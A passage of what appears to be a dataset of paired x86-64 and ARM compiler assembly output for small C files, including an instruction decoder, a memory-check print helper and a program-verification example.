cmp r3, r2
bne .L39
ldr r3, .L124+124
b .L13
.L39:
ldr r2, .L124+128
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+132
cmp r3, r2
bne .L40
ldr r3, .L124+136
b .L13
.L40:
ldr r2, .L124+56
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #-1207959552
bne .L41
ldr r3, .L124+140
b .L13
.L41:
ldr r2, .L124+56
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+144
cmp r3, r2
bne .L42
ldr r3, .L124+148
b .L13
.L42:
ldr r2, .L124+80
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+152
cmp r3, r2
beq .L43
ldr r2, .L124+80
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+156
cmp r3, r2
bne .L44
.L43:
ldr r3, .L124+160
b .L13
.L44:
ldr r2, .L124+96
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+164
cmp r3, r2
bne .L45
ldr r3, .L124+160
b .L13
.L45:
ldr r2, .L124+36
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+168
cmp r3, r2
beq .L46
ldr r2, .L124+36
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+172
cmp r3, r2
bne .L47
.L46:
ldr r3, .L124+8
b .L13
.L47:
mov r2, #1069547520
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #1027604480
bne .L48
ldr r3, .L124+8
b .L13
.L48:
ldr r2, .L124+56
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+176
cmp r3, r2
beq .L49
ldr r2, .L124+56
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+16
cmp r3, r2
bne .L50
.L49:
ldr r3, .L124+8
b .L13
.L50:
mov r2, #-1090519040
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #469762048
bne .L51
ldr r3, .L124+8
b .L13
.L51:
mov r2, #-1090519040
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #402653184
bne .L52
ldr r3, .L124+8
b .L13
.L52:
ldr r2, .L124+36
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+180
cmp r3, r2
bne .L53
ldr r3, .L124+8
b .L13
.L53:
ldr r2, .L124+56
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+184
cmp r3, r2
bne .L54
ldr r3, .L124+8
b .L13
.L54:
ldr r2, .L124+24
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #679477248
bne .L55
ldr r3, .L124+28
b .L13
.L55:
ldr r2, .L124+24
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #696254464
bne .L56
ldr r3, .L124+28
b .L13
.L56:
ldr r2, .L124+24
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #687865856
bne .L57
ldr r3, .L124+28
b .L13
.L57:
mov r2, #1069547520
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #746586112
beq .L58
mov r2, #1069547520
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #763363328
beq .L58
mov r2, #1069547520
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #754974720
bne .L59
.L58:
ldr r3, .L124+28
b .L13
.L59:
ldr r2, .L124+80
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+104
cmp r3, r2
beq .L60
ldr r2, .L124+80
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+108
cmp r3, r2
bne .L61
.L60:
ldr r3, .L124+112
b .L13
.L61:
ldr r2, .L124+96
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #956301312
bne .L62
ldr r3, .L124+112
b .L13
.L62:
ldr r2, .L124+80
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+188
cmp r3, r2
bne .L63
ldr r3, .L124+112
b .L13
.L63:
ldr r2, .L124+80
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+192
cmp r3, r2
bne .L64
ldr r3, .L124+196
b .L13
.L64:
ldr r2, .L124+96
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #2030043136
bne .L65
ldr r3, .L124+196
b .L13
.L65:
ldr r2, .L124+80
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #943718400
bne .L66
ldr r3, .L124+200
b .L13
.L66:
ldr r2, .L124+80
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #939524096
bne .L67
ldr r3, .L124+204
b .L13
.L67:
ldr r2, .L124+80
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #2013265920
bne .L119
ldr r3, .L124+208
b .L13
.L8:
ldr r2, .L124+212
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #285212672
bne .L69
ldr r3, .L124+216
b .L13
.L69:
mov r2, #2130706432
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #285212672
bne .L70
ldr r3, .L124+220
b .L13
.L70:
mov r2, #2130706432
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #822083584
bne .L71
ldr r3, .L124+224
b .L13
.L71:
ldr r2, .L124+228
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+232
cmp r3, r2
bne .L72
ldr r3, .L124+216
b .L13
.L72:
mov r2, #-1627389952
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #268435456
bne .L73
ldr r3, .L124+236
b .L13
.L73:
mov r2, #-1627389952
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #-1879048192
bne .L74
ldr r3, .L124+240
b .L13
.L74:
mov r2, #2130706432
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #1358954496
bne .L75
ldr r3, .L124+244
b .L13
.L75:
ldr r2, .L124+248
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+252
cmp r3, r2
bne .L76
ldr r3, .L124+256
b .L13
.L76:
ldr r2, .L124+260
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+264
cmp r3, r2
bne .L77
ldr r3, .L124+268
b .L13
.L77:
ldr r2, .L124+272
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+276
cmp r3, r2
bne .L78
ldr r3, .L124+280
b .L13
.L78:
ldr r2, .L124+260
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+284
cmp r3, r2
bne .L79
ldr r3, .L124+288
b .L13
.L79:
ldr r2, .L124+96
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #1895825408
bne .L80
ldr r3, .L124+292
b .L13
.L80:
ldr r2, .L124+228
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+296
cmp r3, r2
bne .L81
ldr r3, .L124+300
b .L13
.L81:
ldr r2, .L124+272
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+304
cmp r3, r2
bne .L82
ldr r3, .L124+308
b .L13
.L82:
ldr r2, .L124+228
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #838860800
bne .L83
ldr r3, .L124+312
b .L13
.L83:
ldr r2, .L124+228
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #1392508928
bne .L84
ldr r3, .L124+316
b .L13
.L84:
ldr r2, .L124+228
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #301989888
bne .L120
ldr r3, .L124+320
b .L13
.L7:
mov r2, #-67108864
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #-1811939328
bne .L86
ldr r3, .L124+324
b .L13
.L86:
mov r2, #-67108864
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #335544320
bne .L87
ldr r3, .L124+328
b .L13
.L87:
mvn r2, #992
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+332
cmp r3, r2
bne .L88
ldr r3, .L124+336
b .L13
.L88:
ldr r3, [fp, #-16]
ldr r2, .L124+340
cmp r3, r2
bne .L89
ldr r3, .L124+344
b .L13
.L89:
mov r2, #2130706432
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #872415232
bne .L90
ldr r3, .L124+348
b .L13
.L90:
mvn r2, #992
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+352
cmp r3, r2
bne .L91
ldr r3, .L124+356
b .L13
.L91:
ldr r2, .L124+360
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #1409286144
bne .L92
ldr r3, .L124+364
b .L13
.L92:
mvn r2, #992
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+368
cmp r3, r2
bne .L93
ldr r3, .L124+372
b .L13
.L93:
mov r2, #2130706432
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #922746880
bne .L94
ldr r3, .L124+376
b .L13
.L94:
mov r2, #2130706432
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #889192448
bne .L121
ldr r3, .L124+380
b .L13
.L6:
ldr r2, .L124+384
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #186646528
bne .L96
ldr r3, .L124+220
b .L13
.L96:
ldr r2, .L124+384
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+388
cmp r3, r2
bne .L97
ldr r3, .L124+244
b .L13
.L97:
mov r2, #2130706432
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #184549376
bne .L98
ldr r3, .L124+220
b .L13
.L98:
ldr r2, .L124+384
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+392
cmp r3, r2
bne .L99
ldr r3, .L124+224
b .L13
.L99:
ldr r2, .L124+396
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #721420288
bne .L100
ldr r3, .L124+224
b .L13
.L100:
ldr r2, .L124+400
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+404
cmp r3, r2
bne .L101
ldr r3, .L124+216
b .L13
.L101:
ldr r2, .L124+396
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #1258291200
bne .L102
ldr r3, .L124+244
b .L13
.L102:
ldr r2, .L124+408
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+412
cmp r3, r2
bne .L103
ldr r3, .L124+256
b .L13
.L103:
ldr r2, .L124+416
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+420
cmp r3, r2
bne .L104
ldr r3, .L124+256
b .L13
.L104:
ldr r2, .L124+424
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+428
cmp r3, r2
bne .L105
ldr r3, .L124+280
b .L13
.L105:
ldr r2, .L124+432
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+436
cmp r3, r2
bne .L106
ldr r3, .L124+440
b .L13
.L106:
ldr r2, .L124+424
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+444
cmp r3, r2
bne .L107
ldr r3, .L124+308
b .L13
.L107:
mov r2, #2130706432
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #704643072
bne .L108
ldr r3, .L124+312
b .L13
.L108:
ldr r2, .L124+396
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #167772160
bne .L122
ldr r3, .L124+320
b .L13
.L3:
ldr r2, .L124+424
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #436207616
bne .L110
ldr r3, .L124+448
b .L13
.L110:
ldr r2, .L124+424
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #973078528
bne .L111
ldr r3, .L124+452
b .L13
.L111:
ldr r2, .L124+456
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+460
cmp r3, r2
bne .L112
ldr r3, .L124+244
b .L13
.L112:
ldr r2, .L124+464
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+468
cmp r3, r2
bne .L113
ldr r3, .L124+472
b .L13
.L113:
ldr r2, .L124+476
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+480
cmp r3, r2
bne .L114
ldr r3, .L124+484
b .L13
.L114:
ldr r2, .L124+80
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+488
cmp r3, r2
bne .L115
ldr r3, .L124+492
b .L13
.L115:
ldr r2, .L124+496
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+500
cmp r3, r2
bne .L116
ldr r3, .L124+504
b .L13
.L116:
ldr r2, .L124+508
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+512
cmp r3, r2
bne .L123
ldr r3, .L124+516
b .L13
.L118:
nop
b .L11
.L119:
nop
b .L11
.L120:
nop
b .L11
.L121:
nop
b .L11
.L122:
nop
b .L11
.L123:
nop
.L11:
ldr r3, .L124+520
.L13:
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L125:
.align 2
.L124:
.word -1077936128
.word -1186988032
.word .LC0
.word -1076884480
.word -1203762176
.word -1203763200
.word 2143289344
.word .LC1
.word 747634688
.word 1071647744
.word 1006633984
.word 1006636032
.word .LC2
.word 1063259136
.word -1075835904
.word -1207958528
.word -1207956480
.word 1008732160
.word -1205860352
.word .LC3
.word -2094080
.word 943721472
.word 943719424
.word .LC4
.word -4194304
.word 945817600
.word 939525120
.word 939527168
.word .LC5
.word -1073742848
.word -2006975488
.word .LC6
.word -1075774464
.word -2013201408
.word .LC7
.word .LC8
.word -1203765248
.word .LC9
.word -1199569920
.word -1199567872
.word .LC10
.word -1182793728
.word 1010828288
.word 1010830336
.word -1203764224
.word 1012926464
.word -1201666048
.word 941623296
.word 2015365120
.word .LC11
.word .LC12
.word .LC13
.word .LC14
.word 2133916672
.word .LC15
.word .LC16
.word .LC17
.word 2139095040
.word 1384120320
.word .LC18
.word .LC19
.word .LC20
.word 2130706463
.word 1895825439
.word .LC21
.word -1024
.word -1824490496
.word .LC22
.word 2139126784
.word 318798848
.word .LC23
.word 1392516096
.word .LC24
.word .LC25
.word 1920991232
.word .LC26
.word 1392540672
.word .LC27
.word .LC28
.word .LC29
.word .LC30
.word .LC31
.word .LC32
.word -698417152
.word .LC33
.word -721215457
.word .LC34
.word .LC35
.word -702611456
.word .LC36
.word -16777200
.word .LC37
.word -700514304
.word .LC38
.word .LC39
.word .LC40
.word 2145386496
.word 1260388352
.word 723517440
.word 2132803584
.word 2145452000
.word 704644064
.word 2145386527
.word 1797259295
.word 2132803615
.word 1795162143
.word 2145451008
.word 448800768
.word 2145418240
.word 453016576
.word .LC41
.word 448799744
.word .LC42
.word .LC43
.word -14680064
.word 2116026368
.word -14615552
.word 505423872
.word .LC44
.word -14671904
.word 505417728
.word .LC45
.word 1577059328
.word .LC46
.word -1082065920
.word 251700224
.word .LC47
.word -1611133952
.word 251659264
.word .LC48
.word .LC49
.size arm64_decode, .-arm64_decode
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "858611.c"
.intel_syntax noprefix
.text
.globl mgos_mq135_init
.type mgos_mq135_init, @function
mgos_mq135_init:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 1
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size mgos_mq135_init, .-mgos_mq135_init
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "858611.c"
.text
.align 2
.global mgos_mq135_init
.syntax unified
.arm
.fpu softvfp
.type mgos_mq135_init, %function
mgos_mq135_init:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
mov r3, #1
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size mgos_mq135_init, .-mgos_mq135_init
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "73387.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "\tsbrk(0) %s: addr = %u\n"
.text
.globl check_mem_leak
.type check_mem_leak, @function
check_mem_leak:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov edi, 0
call sbrk@PLT
mov QWORD PTR -8[rbp], rax
mov rdx, QWORD PTR -8[rbp]
mov rax, QWORD PTR -24[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size check_mem_leak, .-check_mem_leak
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "73387.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "\011sbrk(0) %s: addr = %u\012\000"
.text
.align 2
.global check_mem_leak
.syntax unified
.arm
.fpu softvfp
.type check_mem_leak, %function
check_mem_leak:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
mov r0, #0
bl sbrk
str r0, [fp, #-8]
ldr r2, [fp, #-8]
ldr r1, [fp, #-16]
ldr r0, .L2
bl printf
nop
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L3:
.align 2
.L2:
.word .LC0
.size check_mem_leak, .-check_mem_leak
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "397792.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "397792.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "730470.c"
.intel_syntax noprefix
.text
.globl __VERIFIER_assert
.type __VERIFIER_assert, @function
__VERIFIER_assert:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
cmp DWORD PTR -4[rbp], 0
jne .L4
nop
.L3:
mov eax, 0
call __VERIFIER_error@PLT
.L4:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size __VERIFIER_assert, .-__VERIFIER_assert
.globl N
.bss
.align 4
.type N, @object
.size N, 4
N:
.zero 4
.text
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 104
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov rbx, rax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR N[rip], eax
mov eax, DWORD PTR N[rip]
test eax, eax
jg .L6
mov eax, 1
mov rsp, rbx
jmp .L7
.L6:
mov eax, DWORD PTR N[rip]
cmp eax, 536870911
setbe al
movzx eax, al
mov edi, eax
call __VERIFIER_assume@PLT
mov eax, DWORD PTR N[rip]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -96[rbp], rdx
movsx rdx, eax
mov QWORD PTR -128[rbp], rdx
mov QWORD PTR -120[rbp], 0
movsx rdx, eax
mov QWORD PTR -144[rbp], rdx
mov QWORD PTR -136[rbp], 0
cdqe
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L8:
cmp rsp, rdx
je .L9
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L8
.L9:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L10
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L10:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -88[rbp], rax
mov eax, DWORD PTR N[rip]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -80[rbp], rdx
movsx rdx, eax
mov r14, rdx
mov r15d, 0
movsx rdx, eax
mov r12, rdx
mov r13d, 0
cdqe
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L11:
cmp rsp, rdx
je .L12
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L11
.L12:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L13
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L13:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -72[rbp], rax
mov DWORD PTR -100[rbp], 0
jmp .L14
.L15:
mov rax, QWORD PTR -88[rbp]
mov edx, DWORD PTR -100[rbp]
movsx rdx, edx
mov DWORD PTR [rax+rdx*4], 1
add DWORD PTR -100[rbp], 1
.L14:
mov eax, DWORD PTR N[rip]
cmp DWORD PTR -100[rbp], eax
jl .L15
mov DWORD PTR -100[rbp], 0
jmp .L16
.L17:
mov rax, QWORD PTR -72[rbp]
mov edx, DWORD PTR -100[rbp]
movsx rdx, edx
mov DWORD PTR [rax+rdx*4], 1
add DWORD PTR -100[rbp], 1
.L16:
mov eax, DWORD PTR N[rip]
cmp DWORD PTR -100[rbp], eax
jl .L17
mov DWORD PTR -60[rbp], 0
mov DWORD PTR -100[rbp], 0
jmp .L18
.L19:
mov ecx, DWORD PTR -60[rbp]
mov rax, QWORD PTR -88[rbp]
mov edx, DWORD PTR -100[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
add eax, ecx
mov DWORD PTR -60[rbp], eax
add DWORD PTR -100[rbp], 1
.L18:
mov eax, DWORD PTR N[rip]
cmp DWORD PTR -100[rbp], eax
jl .L19
mov DWORD PTR -100[rbp], 0
jmp .L20
.L21:
mov ecx, DWORD PTR -60[rbp]
mov rax, QWORD PTR -72[rbp]
mov edx, DWORD PTR -100[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
add eax, ecx
mov DWORD PTR -60[rbp], eax
add DWORD PTR -100[rbp], 1
.L20:
mov eax, DWORD PTR N[rip]
cmp DWORD PTR -100[rbp], eax
jl .L21
mov DWORD PTR -100[rbp], 0
jmp .L22
.L25:
mov eax, DWORD PTR -100[rbp]
mov DWORD PTR -104[rbp], eax
jmp .L23
.L24:
mov rax, QWORD PTR -72[rbp]
mov edx, DWORD PTR -100[rbp]
movsx rdx, edx
mov edx, DWORD PTR [rax+rdx*4]
mov eax, DWORD PTR -60[rbp]
lea ecx, [rdx+rax]
mov rax, QWORD PTR -72[rbp]
mov edx, DWORD PTR -100[rbp]
movsx rdx, edx
mov DWORD PTR [rax+rdx*4], ecx
add DWORD PTR -104[rbp], 1
.L23:
mov eax, DWORD PTR N[rip]
cmp DWORD PTR -104[rbp], eax
jl .L24
mov rax, QWORD PTR -72[rbp]
mov edx, DWORD PTR -100[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
lea ecx, 1[rax]
mov rax, QWORD PTR -72[rbp]
mov edx, DWORD PTR -100[rbp]
movsx rdx, edx
mov DWORD PTR [rax+rdx*4], ecx
add DWORD PTR -100[rbp], 1
.L22:
mov eax, DWORD PTR N[rip]
cmp DWORD PTR -100[rbp], eax
jl .L25
mov DWORD PTR -100[rbp], 0
jmp .L26
.L27:
mov rax, QWORD PTR -72[rbp]
mov edx, DWORD PTR -100[rbp]
movsx rdx, edx
mov edx, DWORD PTR [rax+rdx*4]
mov eax, DWORD PTR N[rip]
sub eax, DWORD PTR -100[rbp]
mov ecx, eax
mov eax, DWORD PTR N[rip]
imul eax, ecx
add eax, eax
cmp edx, eax
sete al
movzx eax, al
mov edi, eax
call __VERIFIER_assert
add DWORD PTR -100[rbp], 1
.L26:
mov eax, DWORD PTR N[rip]
cmp DWORD PTR -100[rbp], eax
jl .L27
mov rsp, rbx
mov eax, 0
.L7:
mov rsi, QWORD PTR -56[rbp]
sub rsi, QWORD PTR fs:40
je .L28
call __stack_chk_fail@PLT
.L28:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "730470.c"
.text
.align 2
.global __VERIFIER_assert
.syntax unified
.arm
.fpu softvfp
.type __VERIFIER_assert, %function
__VERIFIER_assert:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
bne .L4
nop
.L3:
bl __VERIFIER_error
.L4:
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size __VERIFIER_assert, .-__VERIFIER_assert
.comm N,4,4
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #36
ldr r3, .L23
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
bl __VERIFIER_nondet_int
mov r3, r0
ldr r2, .L23+4
str r3, [r2]
ldr r3, .L23+4
ldr r3, [r3]
cmp r3, #0
bgt .L6
mov r3, #1
mov sp, r4
b .L7
.L6:
ldr r3, .L23+4
ldr r3, [r3]
cmn r3, #-536870911
movls r3, #1
movhi r3, #0
and r3, r3, #255
mov r0, r3
bl __VERIFIER_assume
ldr r3, .L23+4
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-36]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-32]
ldr r3, .L23+4
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-28]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-24]
mov r3, #0
